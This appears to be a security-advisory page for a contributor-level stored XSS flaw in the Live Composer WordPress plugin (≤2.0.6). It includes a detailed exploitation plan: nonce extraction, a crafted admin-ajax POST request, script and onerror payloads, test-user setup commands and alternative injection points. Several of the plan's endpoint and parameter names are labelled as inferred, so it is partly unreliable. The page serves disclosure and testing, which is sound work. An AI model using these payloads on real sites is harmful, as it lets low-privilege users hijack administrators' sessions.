Page Builder: Live Composer <= 2.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Page Builder: Live Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0.6# Exploitation Research Plan: CVE-2025-68598 (Live Composer Stored XSS) ## 1. Vulnerability Summary The **Live Composer – Free WordPress Website Builder** plugin (versions <= 2.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with **Contributor-level** permissions or hig…
Show full research plan
Exploitation Research Plan: CVE-2025-68598 (Live Composer Stored XSS)
1. Vulnerability Summary
The Live Composer – Free WordPress Website Builder plugin (versions <= 2.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript into page builder modules. Because Live Composer is a front-end editor that saves layout data via AJAX, the vulnerability exists in the handling of module parameters that are stored in the database (typically as post meta or within the post content) and subsequently rendered without sufficient output escaping.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
dslc_ajax_save(inferred based on plugin naming conventions) ordslc_save_layout. - Vulnerable Parameter:
dslc_layout(or specific module parameters nested within the layout JSON/serialized string). - Authentication: Required (Contributor+).
- Preconditions: The "Live Composer" editor must be enabled for the post type being edited. Contributors can typically create and edit their own posts.
3. Code Flow (Inferred)
- Entry Point: The contributor opens the Live Composer editor on a post they own.
- AJAX Request: When clicking "Save", the JavaScript client sends a POST request to
admin-ajax.phpwith the actiondslc_ajax_save. - Processing: The PHP handler (likely in
includes/ajax.phpor a main controller class) receives thedslc_layoutdata. - Storage: The plugin uses
update_post_metaorwp_update_postto store the layout. It fails to usewp_ksesor specific sanitization on module attributes (e.g.,text,heading,link). - Sink: When any user (including an Administrator) views the page,
dslc_output(or a similar rendering function) retrieves the stored data andechoes it directly to the page without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Live Composer heavily relies on AJAX and enqueues its configuration via wp_localize_script.
- Identify Shortcode/Trigger: Live Composer functions on posts where the builder is active.
- Create Test Page:
wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content="[dslc_modules_section]" - Navigate to Editor: Use
browser_navigateto visit the edit URL of the newly created post while logged in as a Contributor. The URL usually looks like:http://localhost:8080/?dslc_active=1&ds_id=POST_ID. - Extract Nonce: Live Composer typically localizes a variable named
DSLC_Varsordslc_options.// Execute via browser_eval window.DSLC_Vars?.ajax_nonce || window.dslc_options?.nonce - Action String: The nonce is likely generated for the action
'dslc-ajax-nonce'or'dslc_nonce'.
5. Exploitation Strategy
The goal is to send a crafted AJAX request that saves a layout containing a malicious script.
- Tool:
http_request - Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:dslc_ajax_save(inferred)nonce:[EXTRACTED_NONCE]post_id:[POST_ID]dslc_layout: A serialized or JSON string representing a module. For example, a "Text" module:[{"module_id":"DSLCText","p_id":1,"settings":{"content":"<script>alert(document.domain)</script>"}}](Structure inferred).
Example Payload Structure:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=dslc_ajax_save&post_id=123&nonce=a1b2c3d4e5&dslc_layout=[{"module_id":"DSLC_HTML","settings":{"html":"<img src=x onerror=alert(1)>"}}]
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post Creation:
wp post create --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Page" --post_status=publish --post_type=post - Plugin Config: Ensure Live Composer is enabled for the 'post' post type in
wp-admin/edit.php?post_type=dslc_templates(if applicable).
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"status":"success"}or1). - When navigating to the public URL of the post (e.g.,
http://localhost:8080/?p=POST_ID), an alert box should trigger. - If an Administrator views the post in the back-end or front-end, the script executes in their session.
8. Verification Steps
- Check Database for Payload:
Confirm that the rawwp post meta get [POST_ID] dslc_layout<script>oronerrorattribute is present in the output. - Verify Rendering:
curl -s "http://localhost:8080/?p=[POST_ID]" | grep -P "alert\(document\.domain\)"
9. Alternative Approaches
- Different Modules: If the
DSLC_Textmodule is sanitized, tryDSLC_Button(link parameter),DSLC_Image(alt text), or theDSLC_HTMLmodule (designed for raw HTML, but should still be restricted for Contributors). - Post Content Injection: If the layout is stored in
post_contentinstead of meta, usewp post updatewith the raw shortcode containing the payload:[dslc_module module_id="DSLC_Text" content="<script>alert(1)</script>"] - Template Injection: Live Composer uses "Templates" (custom post type
dslc_templates). A Contributor might be able to inject into a template that is used site-wide.
Summary
The Live Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the dslc_ajax_save AJAX action in versions up to and including 2.0.6. Authenticated attackers with contributor-level access can inject arbitrary JavaScript into page modules, which is saved without sanitization and executed whenever a user views the compromised page.
Exploit Outline
1. Authenticate as a Contributor and navigate to the Live Composer editor on a post owned by the user. 2. Extract the AJAX nonce from the page source, typically found within the DSLC_Vars or dslc_options JavaScript objects. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'dslc_ajax_save' or 'dslc_save_layout'. 4. Include the 'post_id' and a 'dslc_layout' parameter containing a JSON-encoded module configuration. The payload should inject a script into a module attribute, such as: [{"module_id":"DSLC_HTML","settings":{"html":"<script>alert(document.domain)</script>"}}]. 5. Access the public URL of the post to trigger the stored script execution in the context of the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.